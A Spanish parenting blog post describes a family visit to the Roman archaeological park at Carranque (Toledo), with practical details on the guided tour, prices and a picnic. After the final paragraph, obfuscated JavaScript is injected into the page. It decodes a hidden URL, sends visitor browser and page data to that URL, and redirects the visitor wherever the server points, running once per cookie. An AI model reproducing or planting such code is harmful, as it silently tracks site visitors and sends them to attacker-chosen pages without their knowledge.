La primavera está a la vuelta de la esquina y ya hay ganas de salir de la ciudad, respirar aire fresco, correr por el campo, comerse un bocadillo de tortilla de patata, jugar a los exploradores y volver a casa con los pantalones llenos de polvo para ir directos a la ducha. En posts anteriores os había hablado de sitios tan conocidos como El Pardo, pero en esta ocasión nuestro destino a bordo del mamamóvil ha sido Carranque, un pequeño pueblo de Toledo situado a menos de 40 kilómetros de Madrid. ¿Te vienes con nosotros de ruta? ¡Nos sobra una plaza!
Todo los fines de semana se nos plantea la misma situación en casa: ¿Qué podemos hacer este sábado? ¿Qué actividad puede gustarle a Elena (5 años ¡y medio!) y Ana (2 años) y, a la vez, a papá y mamá? ¿Habrá algún plan que nos permita, además, mezclar cultura y ocio? Lo hay, claro que lo hay, pero muchas veces no conocemos todas las posibilidades que nos ofrece.
Tengo que reconocer que no las tenía mucho conmigo, ni su padre tampoco, cuando le propusimos a Elena ir a conocer cómo vivían los romanos en el siglo IV d.c. Primero porque nos preguntó si vendría también alguna de sus amiguitas con nosotros, a lo que le contestamos que no, y segundo, porque al lugar que íbamos no tenía parque de bolas, otra de sus grandes dudas. Aún así estaba contenta con la idea de ir un día al campo sin saber que iba a «colarse» en una villa romana y que descubriría a qué jugaban los niños siglos atrás. Pero más contenta se puso cuando al llegar al centro de interpretación del Parque Arqueológico de Carranque (Toledo, salida 35 de la A-42) le dieron un folleto con el que seguir de una manera más lúdica y divertida las explicaciones de Miriam, la persona encargada de la visita guiada que habíamos cogido (entrada + tour con explicación 7 euros. Niños menos de 4 años no pagan. Duración 40 minutos). A través de distintas actividades, como tachar los lugares que veía, pintar unos dibujos o rodear en una sopa de letras las cosas que escucharía en un vídeo explicativo del parque, Elena fue comprendiendo un poco de que iba a aquello y ya sabe que los «dibujos» que había en el suelo de las casas romanas se llaman mosaicos y que estaban hechos de teselas. ¡Estoy convencida que mañana se lo contará a sus amigas en el cole! Pero como niña de 5 años a la que le gusta jugar, a ella lo que le intriga era saber qué hacían en aquella época los niños romanos. Y así es como se enteró, a través de la explicación de Mirian, que estaban «enganchados» a las tres en raya y al ajedrez -aunque esto último lo inventarán los egipcios- y también que comían mucha verdura. Al final, mientras nos terminaban de explicar a los mayores la historia del Edificio Palacial, ella, junto a su hermana de 2 años y a otros niños que iban con sus padres- se puso a coger piedras por el recinto.
Y después de hacer un viaje al pasado y aprender un poco de historia, nos trasladamos al otro lado del parque arqueológico para adentrarnos en un bosque casi solitario con mini montañas, un rincón escondido donde tiramos la manta y montamos nuestro propio picnic. Sin ruidos de móviles, ni terrazas, ni bares, ni coches en doble fila esperando a que quedase un hueco libre… Alguna que otra familia como nosotros, pero nada más. Un entorno ideal para hacer «zapatilla surf», un nuevo deporte patentado por Elena y que consiste en subir por una pendiente y deslizarse por ella intentando frenar con la suela. Para los más pequeños, como Ana, existe otra modalidad «pantalón surf». La dinámica es la misma, pero en este caso, sentados y arrastrándose con el culo.
Sin duda, un sábado muy completo, enriquecedor, familiar al 100 % y diferente, que nos ha dado fuerzas para empezar esta semana con otro ánimo. var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}